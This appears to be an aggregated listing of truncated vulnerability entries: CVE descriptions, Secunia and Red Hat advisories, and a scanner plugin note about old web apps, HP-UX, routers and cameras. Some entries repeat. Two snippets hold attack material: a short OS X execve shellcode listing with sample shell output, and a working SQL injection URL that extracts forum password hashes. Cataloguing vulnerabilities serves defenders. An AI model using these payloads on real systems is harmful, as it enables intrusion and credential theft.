CVE-2006-0078: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in B-net Software 1.0 allow remote attackers to inject arbitrary web script or HTML via the 1 name and 2 shout variables to a shout.php, or the 3 title and 4 message variables to b guestbook.php...

[SA18271] B-net Software Script Insertion Vulnerabilities

TITLE: B-net Software Script Insertion Vulnerabilities SECUNIA ADVISORY ID: SA18271 VERIFY ADVISORY: http://secunia.com/advisories/18271/ CRITICAL: Moderately critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: B-net Software 1.x http://secunia.com/product/6733/ DESCRIPTION:...

CVE-2005-4451: Undefined Security Weakness

Unspecified vulnerability in Software Distributor in HP-UX B.11.11 allows remote attackers to gain access via unspecified attack vectors...

RHEL 4 : xpdf (RHSA-2005:840)

The remote Redhat Enterprise Linux 4 host has a package installed that is affected by multiple vulnerabilities as referenced in the RHSA-2005:840 advisory. The xpdf package is an X Window System-based viewer for Portable Document Format PDF files. Several flaws were discovered in Xpdf. An attacke...

Important: Red Hat Security Advisory: xpdf security update

An updated xpdf package that fixes several security issues is now available. This update has been rated as having important security impact by the Red Hat Security Response Team. Updated 20 Dec 2005 The initial fix for these issues was incomplete. The packages have been updated with a more comple...

CVE-2005-3564

envd daemon in HP-UX B.11.00 through B.11.11 allows local users to obtain privileges via unknown attack vectors...

CVE-2003-1264: Undefined Security Weakness

TFTP server in Longshine Wireless Access Point WAP LCS-883R-AC-B, and in D-Link DI-614+ 2.0 which is based on it, allows remote attackers to obtain the WEP secret and gain administrator privileges by downloading the configuration file config.img and other files without authentication...

os-x/PPC/x86 execve(""/bin/sh"" {""/bin/sh"" NULL} NULL) 121 bytes

No description provided by source. / - dual.c - by [email protected] execve"/bin/sh","/bin/sh",NULL,NULL shellcode for osx both the ppc and x86 version. Sample output: -nemo@squee:/shellcode$ file dual-ppc dual-ppc: Mach-O executable ppc -nemo@squee:/shellcode$ ./dual-ppc sh-2.05b$ exit...

ibProArcade 2.x - module vBulletinIPB SQL Injection

ibProArcade 2.x - module vBulletinIPB SQL Injection Rankings for name will state the md5 hash for the user /str0ke ibProArcade 2.x IPB: index.php?act=Arcade&module=report&user=-1 union select password from ibfmembers where id=anyuser vBulettin forums: index.php?act=ibProArcade&module=report&user=...

Buffer Overrun in Messenger Service (828035)

A security vulnerability exists in the Messenger Service that could allow arbitrary code execution on an affected system. This plugin determined by reading the remote registry that the patch MS03-043 has not been applied. SPDX-FileCopyrightText: 2003 Jeff Adams Some text descriptions might be...

CVE-2004-2507

Absolute path traversal vulnerability in main.cgi in Linksys WVC11B Wireless-B Internet Video Camera allows remote attackers to read arbitrary files via an absolute pathname in the nextfile parameter...

CVE-2004-2508

Cross-site scripting XSS vulnerability in main.cgi in Linksys WVC11B Wireless-B Internet Video Camera allows remote attackers to inject arbitrary web script or HTML via the nextfile parameter...

CVE-2004-2507

The CVE-2004-2507 entry concerns the Linksys WVC11B Wireless-B Internet Video Camera. Affected software: main.cgi. Vulnerability type: absolute path traversal, exploitable via an absolute pathname provided in the next_file parameter. Root cause: improper handling of file paths in main.cgi allows ...

CVE-2004-2507: Undefined Security Weakness

Absolute path traversal vulnerability in main.cgi in Linksys WVC11B Wireless-B Internet Video Camera allows remote attackers to read arbitrary files via an absolute pathname in the nextfile parameter...

CVE-2004-2508: Undefined Security Weakness

Cross-site scripting XSS vulnerability in main.cgi in Linksys WVC11B Wireless-B Internet Video Camera allows remote attackers to inject arbitrary web script or HTML via the nextfile parameter...

CVE-2005-3295

Unspecified vulnerability in HP-UX B.11.23 on Itanium platforms allows local users to cause a denial of service due to a "specific stack size."...

CVE-2005-3295

CVE-2005-3295 affects HP-UX B.11.23 on Itanium platforms. The vulnerability is a local denial of service caused by an issue related to the handling of a specific stack size in HP-UX. Exploitation details are not provided in the documents; no active exploit information is stated. Remediation in th...

CVE-2005-3295

Unspecified vulnerability in HP-UX B.11.23 on Itanium platforms allows local users to cause a denial of service due to a "specific stack size."...

CVE-2005-3295: Undefined Security Weakness

Unspecified vulnerability in HP-UX B.11.23 on Itanium platforms allows local users to cause a denial of service due to a "specific stack size."...

CVE-2005-2419

The CVE-2005-2419 entry concerns the B-FOCuS Router 312+ where remote attackers can bypass authentication by issuing a direct request to firmwarecfg. The available documents confirm the affected device and the core flaw (authentication bypass via firmwarecfg access), but they provide no precise r...